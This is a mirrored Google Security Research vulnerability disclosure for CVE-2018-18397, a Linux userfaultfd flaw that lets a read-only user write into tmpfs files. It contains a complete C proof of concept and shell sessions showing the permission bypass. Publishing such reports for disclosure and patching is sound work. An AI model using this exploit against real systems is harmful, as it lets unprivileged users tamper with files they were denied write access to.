首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux userfaultfd tmpfs File Permission Bypass
来源:Google Security Research 作者:jannh 发布时间:2018-12-12  
Linux: userfaultfd bypasses tmpfs file permissions 

CVE-2018-18397


Using the userfaultfd API, it is possible to first register a
userfaultfd region for any VMA that fulfills vma_can_userfault():
It must be an anonymous VMA (->vm_ops==NULL), a hugetlb VMA
(VM_HUGETLB), or a shmem VMA (->vm_ops==shmem_vm_ops). This means that
it is, for example, possible to register userfaulfd regions for shared
readonly mappings of tmpfs files.

Afterwards, the userfaultfd API can be used on such a region to
(atomically) write data into holes in the file's mapping. This API
also works on readonly shared mappings.

This means that an attacker with read-only access to a tmpfs file that
contains holes can write data into holes in the file.

Reproducer:

First, as root:
=====================
root@debian:~# cd /dev/shm
root@debian:/dev/shm# umask 0022
root@debian:/dev/shm# touch uffd_test
root@debian:/dev/shm# truncate --size=4096 uffd_test
root@debian:/dev/shm# ls -l uffd_test
-rw-r--r-- 1 root root 4096 Oct 16 19:25 uffd_test
root@debian:/dev/shm# hexdump -C uffd_test
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00001000
root@debian:/dev/shm# 
=====================

Then, as a user (who has read access, but not write access, to that
file):
=====================
user@debian:~/uffd$ cat uffd_demo.c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <err.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdio.h>

static int uffd;
static void *uf_mapping;

int main(int argc, char **argv) {
        int rw_open_res = open("/dev/shm/uffd_test", O_RDWR);
        if (rw_open_res == -1)
                perror("can't open for writing as expected");
        else
                errx(1, "unexpected write open success");

        int mfd = open("/dev/shm/uffd_test", O_RDONLY);
        if (mfd == -1) err(1, "tmpfs open");
        uf_mapping = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, mfd, 0);
        if (uf_mapping == (void*)-1) err(1, "shmat");

        // Documentation for userfaultfd:
        // <a href="http://man7.org/linux/man-pages/man2/userfaultfd.2.html" title="" class="" rel="nofollow">http://man7.org/linux/man-pages/man2/userfaultfd.2.html</a>
        // <a href="http://man7.org/linux/man-pages/man2/ioctl_userfaultfd.2.html" title="" class="" rel="nofollow">http://man7.org/linux/man-pages/man2/ioctl_userfaultfd.2.html</a>
        // <a href="https://blog.lizzie.io/using-userfaultfd.html" title="" class="" rel="nofollow">https://blog.lizzie.io/using-userfaultfd.html</a>
        uffd = syscall(__NR_userfaultfd, 0);
        if (uffd == -1) err(1, "userfaultfd");
        struct uffdio_api api = { .api = 0xAA, .features = 0 };
        if (ioctl(uffd, UFFDIO_API, &api)) err(1, "API");

        struct uffdio_register reg = {
                .range = {
                        .start = (unsigned long)uf_mapping,
                        .len = 0x1000
                },
                .mode = UFFDIO_REGISTER_MODE_MISSING
        };
        if (ioctl(uffd, UFFDIO_REGISTER, &reg)) err(1, "REGISTER");

        char buf[0x1000] = {'A', 'A', 'A', 'A'};
        struct uffdio_copy copy = {
                .dst = (unsigned long)uf_mapping,
                .src = (unsigned long)buf,
                .len = 0x1000,
                .mode = 0
        };
        if (ioctl(uffd, UFFDIO_COPY, &copy)) err(1, "copy");
        if (copy.copy != 0x1000) errx(1, "copy len");

        printf("x: 0x%08x\n", *(unsigned int*)uf_mapping);
        return 0;
}
user@debian:~/uffd$ gcc -o uffd_demo uffd_demo.c -Wall
user@debian:~/uffd$ ./uffd_demo
can't open for writing as expected: Permission denied
x: 0x41414141
user@debian:~/uffd$ 
=====================

And now again as root:
=====================
root@debian:/dev/shm# hexdump -C uffd_test
00000000  41 41 41 41 00 00 00 00  00 00 00 00 00 00 00 00  |AAAA............|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00001000
=====================


I asked MITRE for a CVE when I started writing the bug report, and
they've already given me CVE-2018-18397.


By the way, another interesting thing: Apparently userfaultfd even
lets you write beyond the end of the file, and the writes become
visible if the file is subsequently truncated to a bigger size?
That seems wrong.

As root, create an empty file:
=====================
root@debian:/dev/shm# rm uffd_test
root@debian:/dev/shm# touch uffd_test
root@debian:/dev/shm# ls -l uffd_test
-rw-r--r-- 1 root root 0 Oct 16 19:44 uffd_test
root@debian:/dev/shm# 
=====================

Now as a user, use userfaultfd to write into it:
=====================
user@debian:~/uffd$ ./uffd_demo
can't open for writing as expected: Permission denied
x: 0x41414141
user@debian:~/uffd$ 
=====================

Afterwards, to root, the file still looks empty, until it is truncated
to a bigger size:
=====================
root@debian:/dev/shm# ls -l uffd_test
-rw-r--r-- 1 root root 0 Oct 16 19:44 uffd_test
root@debian:/dev/shm# hexdump -C uffd_test
root@debian:/dev/shm# truncate --size=4096 uffd_test
root@debian:/dev/shm# hexdump -C uffd_test
00000000  41 41 41 41 00 00 00 00  00 00 00 00 00 00 00 00  |AAAA............|
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00001000
root@debian:/dev/shm# 
=====================


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: jannh


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WebKit JIT Proxy Object Issue
·LanSpy 2.0.1.159 Buffer Overfl
·CyberLink LabelPrint 2.5 Stack
·SmartFTP Client 9.0.2623.0 Den
·Google Chrome 70.0.3538.77 Cro
·PrestaShop 1.6.x / 1.7.x Remot
·XNU POSIX Shared Memory Mappin
·WordPress Snap Creek Duplicato
·MiniShare 1.4.1 HEAD / POST Bu
·WebDAV Server Serving DLL
·FutureNet NXR-G240 Series Shel
·i-doit CMDB 1.11.2 - Remote Co
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved